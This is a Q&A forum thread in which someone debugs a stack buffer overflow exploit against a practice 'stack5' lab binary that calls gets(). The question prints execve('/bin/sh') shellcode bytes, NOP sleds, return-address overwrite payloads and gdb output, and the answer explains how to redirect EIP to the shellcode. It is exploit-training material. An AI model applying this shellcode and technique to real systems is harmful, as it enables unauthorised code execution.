0

I have successfully overwritten the EIP register (pointing to my shellcode) but the shellcode is not executing. I compiled with the command

gcc -g -fno-stack-protector -z execstack -no-pie vuln.c -o vuln 

Here's the output of gdb-peda (attempt 1):

[----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0x0 
ECX: 0xbffff2a5 ("//shh/bin\211\343PS\211\341\260\v", '\220' <repeats 24 times>, "\245\362\377\277")
EDX: 0xb7fba01c --> 0x0 
ESI: 0xb7fb8000 --> 0x1d6d6c 
EDI: 0xb7fb8000 --> 0x1d6d6c 
EBP: 0x0 
ESP: 0xbffff2a5 ("//shh/bin\211\343PS\211\341\260\v", '\220' <repeats 24 times>, "\245\362\377\277")
EIP: 0x6850c031
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x6850c031
[------------------------------------stack-------------------------------------]
0000| 0xbffff2a5 ("//shh/bin\211\343PS\211\341\260\v", '\220' <repeats 24 times>, "\245\362\377\277")
0004| 0xbffff2a9 ("h/bin\211\343PS\211\341\260\v", '\220' <repeats 24 times>, "\245\362\377\277")
0008| 0xbffff2ad --> 0x50e3896e 
0012| 0xbffff2b1 --> 0xb0e18953 
0016| 0xbffff2b5 --> 0x9080cd0b 
0020| 0xbffff2b9 --> 0x90909090 
0024| 0xbffff2bd --> 0x90909090 
0028| 0xbffff2c1 --> 0x90909090 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x6850c031 in ?? ()
gdb-peda$ run < <(python -c "print 'A'*17 + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80' + '\x90'*24 + '\xbf\xff\xf2\xa5'[::-1]")

Output of gdb-peda (attempt 2):

gdb-peda$ run < <(python -c "print '\x90'*25 + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80NOOOOPPPPQQQQQQQ' + '\xbf\xff\xf2\xad'[::-1]")
Starting program: /home/kali/Desktop/exploit-excersises/stack5 < <(python -c "print '\x90'*25 + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80NOOOOPPPPQQQQQQQ' + '\xbf\xff\xf2\xad'[::-1]")

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0x0 
ECX: 0xbffff2ad ("//shh/bin\211\343PS\211\341\260\vNOOOOPPPPQQQQQQQ\255\362\377\277")
EDX: 0xb7fba01c --> 0x0 
ESI: 0xb7fb8000 --> 0x1d6d6c 
EDI: 0xb7fb8000 --> 0x1d6d6c 
EBP: 0x0 
ESP: 0xbffff2ad ("//shh/bin\211\343PS\211\341\260\vNOOOOPPPPQQQQQQQ\255\362\377\277")
EIP: 0x6850c031
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x6850c031
[------------------------------------stack-------------------------------------]
0000| 0xbffff2ad ("//shh/bin\211\343PS\211\341\260\vNOOOOPPPPQQQQQQQ\255\362\377\277")
0004| 0xbffff2b1 ("h/bin\211\343PS\211\341\260\vNOOOOPPPPQQQQQQQ\255\362\377\277")
0008| 0xbffff2b5 --> 0x50e3896e 
0012| 0xbffff2b9 --> 0xb0e18953 
0016| 0xbffff2bd --> 0x4e80cd0b 
0020| 0xbffff2c1 ("OOOOPPPPQQQQQQQ\255\362\377\277")
0024| 0xbffff2c5 ("PPPPQQQQQQQ\255\362\377\277")
0028| 0xbffff2c9 ("QQQQQQQ\255\362\377\277")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x6850c031 in ?? ()

Disassembled main function:

gdb-peda$ disas main
Dump of assembler code for function main:
   0x08049162 <+0>:     lea    ecx,[esp+0x4]
   0x08049166 <+4>:     and    esp,0xfffffff0
   0x08049169 <+7>:     push   DWORD PTR [ecx-0x4]
   0x0804916c <+10>:    push   ebp
   0x0804916d <+11>:    mov    ebp,esp
   0x0804916f <+13>:    push   ebx
   0x08049170 <+14>:    push   ecx
   0x08049171 <+15>:    sub    esp,0x40
   0x08049174 <+18>:    call   0x804919e <__x86.get_pc_thunk.ax>
   0x08049179 <+23>:    add    eax,0x2e87
   0x0804917e <+28>:    sub    esp,0xc
   0x08049181 <+31>:    lea    edx,[ebp-0x48]
   0x08049184 <+34>:    push   edx
   0x08049185 <+35>:    mov    ebx,eax
   0x08049187 <+37>:    call   0x8049030 <gets@plt>
   0x0804918c <+42>:    add    esp,0x10
   0x0804918f <+45>:    mov    eax,0x0
   0x08049194 <+50>:    lea    esp,[ebp-0x8]
   0x08049197 <+53>:    pop    ecx
   0x08049198 <+54>:    pop    ebx
   0x08049199 <+55>:    pop    ebp
   0x0804919a <+56>:    lea    esp,[ecx-0x4]
   0x0804919d <+59>:    ret

Source code:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  char buffer[64];

  gets(buffer);
}

operating system:

Linux kali 5.4.0-kali3-686-pae #1 SMP Debian 5.4.13-1kali1 (2020-01-20) i686 GNU/Linux

How could I get my shellcode to execute?

2

EIP is not pointing at your shell code, it is containing your shellcode. EIP should contain the memory address of your shellcode: 0xbffff2ad

OR the memory address of a gadget that will pivot to your shellcode (jmp esp f.ex). However your EIP address contains part of your shellcode and is trying to execute the opcodes at address 0x6850c031 which should be uninitialised memory.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.